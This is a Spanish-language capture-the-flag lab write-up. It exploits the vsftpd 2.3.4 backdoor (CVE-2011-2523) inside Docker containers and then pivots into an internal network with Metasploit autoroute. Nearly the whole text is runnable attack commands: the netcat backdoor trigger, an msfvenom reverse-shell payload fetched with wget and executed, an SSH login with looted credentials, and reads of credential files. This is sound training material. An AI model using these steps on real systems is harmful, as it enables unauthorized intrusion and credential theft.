Inicio
Proyectos
Ver todos Laboratorio SOC
Blog
Tutoriales
Ver todos Servidor LDAP Servidor Web AWS Kubernetes Pandora FMS Descargar VM Fortinet Autenticación LDAP Gophish
CTF
Ver todos Lab 1 — vsftpd + Pivoting Lab 2 — SMB + SQLi + SUID Lab 3 — Upload + Doble Pivot Lab 4 — Doble Pivot Real
Portfolio Consultoría

Lab 1 — vsftpd 2.3.4 Backdoor + Pivoting

Estos laboratorios están montados en contenedores Docker configurados para ello.

Laboratorio CVE-2011-2523 Metasploit Pivoting Completado 18 Mar 2026 ↓ Descargar Lab

Explotamos una vulnerabilidad presente en vsftpd versión 2.3.4(CVE-2011-2523), entablamos una shell a una sesión Meterpreter mediante msfvenom, y pivoting hacia una red interna completamente aislada usando el módulo autoroute de Metasploit.

0

Topología del laboratorio

Mi Ubuntu atacante (172.20.10.0/24) -> Maquina Pivot (vsftpd 2.3.4) -> Target (SSH + Web interno)
1

Reconocimiento — Host Discovery

Comenzamos con un escaneo de la red externa para descubrir hosts activos.

nmap -sn 172.20.10.0/24
Host descubierto: 172.20.10.10 (pivot-machine)

Realizamos un escaneo completo de puertos y servicios sobre dicho host:

nmap -sV -sC -p- 172.20.10.10 -T4
Resultado:
21/tcp → vsftpd 2.3.4
22/tcp → OpenSSH
6200/tcp → shell abierta (backdoor activo)

El puerto 6200 es bastante raro. Nmap identificó que al enviarle cualquier input respondía con un prompt root@pivot-machine:/#, revelando que era una shell en espera de comandos — es el funcionamiento del backdoor vsftpd CVE-2011-2523 que se activa al enviar :) en el campo USER del protocolo FTP. Esto nos da una pista clara de que el servicio vsftpd 2.3.4 está presente y es vulnerable, lo que nos llevará a la explotación en la siguiente fase.

2

Explotación — CVE-2011-2523

La vulnerabilidad reside en que vsftpd 2.3.4 fue distribuido con código malicioso insertado en su fuente. Cuando el campo USER contiene la cadena :), el daemon abre una bind shell en el puerto 6200 sin autenticación.

# Esto sería la secuencia de comandos que activa el backdoor manualmente:
nc 172.20.10.10 21
USER cualquiercosa:)         # trigger del backdoor
PASS loquesea

# En otra terminal, conectar a la shell:
nc 172.20.10.10 6200
# root@pivot-machine:/#
Shell obtenida: root en pivot-machine via puerto 6200
3

Upgrade a Meterpreter

Una shell básica no no nos deja usar autoroute(podríamo hacerlo con ssh, pero vamos a usar metasploit por recordarlo un poco). Generamos un payload con msfvenom y lo ejecutamos desde el pivot.

# Generar payload en Kali:
msfvenom -p linux/x86/meterpreter/reverse_tcp \
  LHOST=172.20.10.1 LPORT=4444 -f elf -o /tmp/shell.elf

# Levantar listener en msfconsole:
use multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 172.20.10.1
set LPORT 4444
run

# Servir el payload con Python:
python3 -m http.server 8080

# Desde la shell nc del pivot:
cd /tmp
wget http://172.20.10.1:8080/shell.elf
chmod +x shell.elf
./shell.elf
Resultado: Sesión Meterpreter activa — root @ pivot-machine
4

Post-explotación del Pivot — Loot

Antes de pivotar, revisamos el sistema comprometido en busca de información útil.

shell
cat /var/ftp/notes.txt
ip addr
ip route
Loot encontrado en /var/ftp/notes.txt:
IP interna target: 172.20.20.10
SSH: msfadmin / msfadmin
Web: http://172.20.20.10:8080
Interfaz interna del pivot: 172.20.20.2
5

Pivoting con Autoroute

Con Meterpreter activo en el pivot, añadimos una ruta hacia la red interna para que todo el tráfico de Metasploit se enrute automáticamente a través de la sesión comprometida.

# En la sesión Meterpreter:
run autoroute -s 172.20.20.0/24
run autoroute -p           # verificar ruta activa
background

# Escanear la red interna a través del pivot:
use auxiliary/scanner/portscan/tcp
set RHOSTS 172.20.20.0/24
set PORTS 22,80,8080
set THREADS 1
run
Target descubierto: 172.20.20.10 — puertos 22 y 8080 abiertos
6

Acceso al Target y Flag

Usamos las credenciales encontradas en el loot para acceder al target interno via SSH a través del pivot.

use auxiliary/scanner/ssh/ssh_login
set RHOSTS 172.20.20.10
set USERNAME msfadmin
set PASSWORD msfadmin
run

sessions -i 2

Dentro del target, buscamos la ruta al flag escalando privilegios con las credenciales encontradas en el servidor web interno (puerto 8080).

# Desde el target, acceder al web interno:
wget http://localhost:8080/admin/credentials.txt
cat credentials.txt
# root:Sup3rS3cr3t!

su - root
cat /root/flag.txt
🚩 FLAG: FLAG{p1v0t1ng_m4st3r_eJPT_r3ady!}

Conclusiones y aprendizajes


Volver a CTF & Labs.